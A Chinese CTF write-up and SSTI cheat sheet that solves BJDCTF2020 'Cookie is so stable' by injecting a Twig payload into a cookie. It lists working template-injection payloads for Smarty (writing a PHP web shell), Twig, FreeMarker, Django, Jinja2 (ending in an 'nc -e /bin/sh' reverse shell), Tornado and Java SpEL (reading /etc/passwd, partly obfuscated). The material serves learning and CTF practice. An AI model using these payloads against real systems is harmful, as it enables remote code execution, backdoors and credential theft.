当前位置:网站首页>SSTI 模板注入漏洞总结之[BJDCTF2020]Cookie is so stable
SSTI 模板注入漏洞总结之[BJDCTF2020]Cookie is so stable
2022-07-25 11:47:00 【一只Traveler】
知识点:
模板注入漏洞总结:参考:很全的总结:一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog
1.常用的模板引擎
PHP:smarty Twig Blade;
python : jinja2 django tornado
java : JSP FreeMarker Velocity
当在服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题.
具体看参考;下面讲使用;
使用:
Tplmap的安装与用法(内包含解决缺少库报错的处理教程)_小 白 萝 卜的博客-CSDN博客_tplmap
Twig
{ {7*‘7’}} 输出49
Jinja
{ {7*‘7’}}输出7777777
攻击:
攻击方向:
找到模板注入主要从三个方向进行攻击
(1)模板本身
(2)框架本身
(3)语言本身
1.模板本身;
(1)Smarty
payload
打开文件:
{self::getStreamVariable("file:///proc/self/loginuid")}写后门:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}(2)Twig
payload:其中id是命令;
{
{_self.env.registerUndefinedFilterCallback("exec")}}{
{_self.env.getFilter("id")}}(3)freeMarker
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }2.利用框架本身的特性进行攻击
1).Django
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
2).Flask/Jinja2
config 是Flask模版中的一个全局对象,它代表“当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。虽然config是一个类字典对象,但是通过查阅文档可以发现 config 有很多神奇的方法:from_envvar, from_object, from_pyfile, 以及root_path。
{
{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{
{ config.from_pyfile('/tmp/evil') }}
//加载system
{
{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL3).Tornado
http://117.78.26.79:31093/error?msg={
{handler.settings}}3.利用模语言本身的特性进行攻击
1)python
2).JAVA
payload:
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}当然要是文件操作就要用另外的类了,思路是不变的
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
回到题目:
在flag界面输入{ {7*7}}
回显49;
存在模板注入;
题目提示cookie;
抓包看看:也可以F12 网络查看数据包发现;

有一个set-cookie;
也就是模板注入的地方:
先使用sytem()试试;

不行,再看看这是什么类型的注入:
使用{ {7*'7'}} 还是回显49,看来是Twig;
直接上payload:
{ {_self.env.registerUndefinedFilterCallback("exec")}}{ {_self.env.getFilter("cat /flag")}}
(要在第二个数据包中构造cookie的user;下图是第一个,在参数username直接构造不是不行的)

可以用F12看看数据包:


边栏推荐
- 从云原生到智能化,深度解读行业首个「视频直播技术最佳实践图谱」
- Ups and downs of Apple's supply chain in the past decade: foreign head teachers and their Chinese students
- 2.1.2 application of machine learning
- [dark horse morning post] eBay announced its shutdown after 23 years of operation; Wei Lai throws an olive branch to Volkswagen CEO; Huawei's talented youth once gave up their annual salary of 3.6 mil
- R language ggpubr package ggarrange function combines multiple images and annotates_ Figure function adds annotation, annotation and annotation information for the combined image, adds image labels fo
- 【9】 Coordinate grid addition and adjustment
- Experimental reproduction of image classification (reasoning only) based on caffe resnet-50 network
- [micro service ~sentinel] sentinel degradation, current limiting, fusing
- Introduction to the scratch crawler framework
- R language ggplot2 visualization: use the ggviolin function of ggpubr package to visualize the violin graph, set the add parameter to add jitter data points and mean standard deviation vertical bars (
猜你喜欢

Introduction to the scratch crawler framework

Hystrix使用

Build a series of vision transformer practices, and finally meet, Timm library!

Implement anti-theft chain through referer request header

Feign使用

Unexpected rollback exception analysis and transaction propagation strategy for nested transactions

Zero shot image retrieval (zero sample cross modal retrieval)

NLP knowledge - pytorch, back propagation, some small pieces of notes for predictive tasks

A method to prevent SYN flooding attacks -- syn cookies

NLP知识----pytorch,反向传播,预测型任务的一些小碎块笔记
随机推荐
Add a little surprise to life and be a prototype designer of creative life -- sharing with X contestants in the programming challenge
Ansible
WPF project introduction 1 - Design and development of simple login page
Pytorch visualization
Crawler crawls dynamic website
推荐系统-协同过滤在Spark中的实现
Scott+scott law firm plans to file a class action against Yuga labs, or will confirm whether NFT is a securities product
[micro service ~sentinel] sentinel degradation, current limiting, fusing
Intelligent information retrieval (overview of intelligent information retrieval)
【十】比例尺添加以及调整
Build a series of vision transformer practices, and finally meet, Timm library!
Learning to pre train graph neural networks
Atomic 原子类
The first scratch crawler
After having a meal with trump, I wrote this article
【五】页面和打印设置
Zero shot image retrieval (zero sample cross modal retrieval)
【5】 Page and print settings
【Flutter -- 实例】案例一:基础组件 & 布局组件综合实例
如何从远程访问 DMS数据库?IP地址是啥?用户名是啥?